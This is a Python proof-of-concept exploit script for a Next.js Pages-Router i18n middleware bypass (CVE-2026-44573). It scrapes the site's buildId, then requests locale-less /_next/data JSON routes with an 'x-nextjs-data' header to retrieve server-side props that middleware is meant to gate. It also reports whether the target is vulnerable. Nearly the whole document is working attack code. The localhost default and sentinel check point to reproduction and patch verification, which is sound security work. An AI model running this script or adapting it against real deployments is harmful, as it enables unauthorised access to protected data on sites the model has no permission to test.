Next.js i18n Middleware Bypass (CVE-2026-44573)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136

#!/usr/bin/env python3
"""
CVE-2026-44573 / GHSA-36qx-fr4f-26g5
i18n Pages-Router /_next/data/<buildId>/<page>.json middleware bypass
=====================================================================

Usage:  TARGET=http://localhost:3000 python3 exploit.py
        BUILD_ID=<override> TARGET=... python3 exploit.py

Attack model
------------
Pages-Router apps with `i18n` config expose every page at:
    /_next/data/<buildId>/<locale>/<page>.json

On vulnerable Next.js the middleware matcher's i18n branch only recognises
that *locale-prefixed* shape. The no-locale variant
    /_next/data/<buildId>/<page>.json
slips through the matcher -> middleware is not invoked -> the JSON
`getServerSideProps` payload is rendered for clients that should have been
gated.
"""

import os
import re
import sys
import urllib.request
import urllib.error

R, G, Y, B, N = "\033[0;31m", "\033[0;32m", "\033[1;33m", "\033[0;34m", "\033[0m"

SENTINEL = "SECRET_PROPS_FLAG"


class NoRedirect(urllib.request.HTTPRedirectHandler):
    def redirect_request(self, *_a, **_kw):
        return None


def fetch(url, headers=None, timeout=15):
    headers = headers or {}
    req = urllib.request.Request(url, headers=headers, method="GET")
    opener = urllib.request.build_opener(NoRedirect())
    try:
        with opener.open(req, timeout=timeout) as resp:
            return resp.status, dict(resp.getheaders()), resp.read(200_000)
    except urllib.error.HTTPError as e:
        return e.code, dict(e.headers), e.read(200_000)
    except Exception as e:  # noqa: BLE001
        print(f"{R}  network error: {e}{N}")
        return 0, {}, b""


def header(d, name):
    for k, v in d.items():
        if k.lower() == name.lower():
            return v
    return ""


def discover_build_id(target):
    """Scrape the buildId out of __NEXT_DATA__ on the homepage."""
    code, _h, body = fetch(target + "/")
    text = body.decode("utf-8", "replace")
    m = re.search(r'"buildId"\s*:\s*"([^"]+)"', text)
    return m.group(1) if m else None


def main():
    target = os.environ.get("TARGET", "http://localhost:3000").rstrip("/")
    protected = os.environ.get("PROTECTED_PATH", "/secret")
    default_locale = os.environ.get("DEFAULT_LOCALE", "en")
    build_id = os.environ.get("BUILD_ID") or discover_build_id(target)

    print(f"{B}{'=' * 66}{N}")
    print(f"{B} CVE-2026-44573 — Pages-Router i18n data-route middleware bypass {N}")
    print(f"{B}{'=' * 66}{N}")
    print(f" Target           : {target}")
    print(f" Protected path   : {protected}")
    print(f" Default locale   : {default_locale}")
    print(f" buildId          : {build_id or '(NOT FOUND — set BUILD_ID env var)'}\n")

    if not build_id:
        sys.exit(2)

    # ---- step 2 — baseline ---------------------------------------------
    print(f"{Y}[2/4] Baseline — canonical GET {protected}{N}")
    code, h, _ = fetch(target + protected)
    print(f"  HTTP {code}   Location: {header(h, 'location') or '(none)'}\n")

    # ---- step 3 — bypass attempts --------------------------------------
    print(f"{Y}[3/4] Bypass — _next/data without locale prefix{N}")
    url_a = f"/_next/data/{build_id}{protected}.json"
    url_b = f"/_next/data/{build_id}/{default_locale}{protected}.json"

    print(f"  GET {url_a}")
    a_code, a_h, a_body = fetch(target + url_a, headers={
        # `x-nextjs-data: 1` makes the inner Next server treat the request as
        # a Pages-Router data request even when the matcher's locale logic
        # would otherwise rewrite the URL.
        "x-nextjs-data": "1",
    })
    a_text = a_body.decode("utf-8", "replace")
    print(f"  HTTP {a_code}   Content-Type: {header(a_h, 'content-type')}")
    if header(a_h, "location"):
        print(f"  Location: {header(a_h, 'location')}")

    print(f"  GET {url_b}")
    b_code, b_h, b_body = fetch(target + url_b, headers={
        "x-nextjs-data": "1",
    })
    b_text = b_body.decode("utf-8", "replace")
    print(f"  HTTP {b_code}   Content-Type: {header(b_h, 'content-type')}")
    if header(b_h, "location"):
        print(f"  Location: {header(b_h, 'location')}")
    print()

    # ---- step 4 — verdict ----------------------------------------------
    print(f"{Y}[4/4] Verdict{N}")
    vuln = False
    for tag, code, text in (("A", a_code, a_text), ("B", b_code, b_text)):
        if code == 200 and SENTINEL in text:
            print(f"  {R}x VULNERABLE — variant {tag}: data-route returned the"
                  f" protected JSON payload (sentinel '{SENTINEL}' present).{N}")
            vuln = True

    if vuln:
        print(f"\n{R}>>> RESULT: PASS (vulnerability reproduced) <<<{N}")
        sys.exit(0)

    print(f"  {G}v PATCHED — data-route variants were redirected/blocked.{N}")
    print(f"\n{G}>>> RESULT: FAIL (target appears patched >= v16.2.5) <<<{N}")
    sys.exit(1)


if __name__ == "__main__":
    main()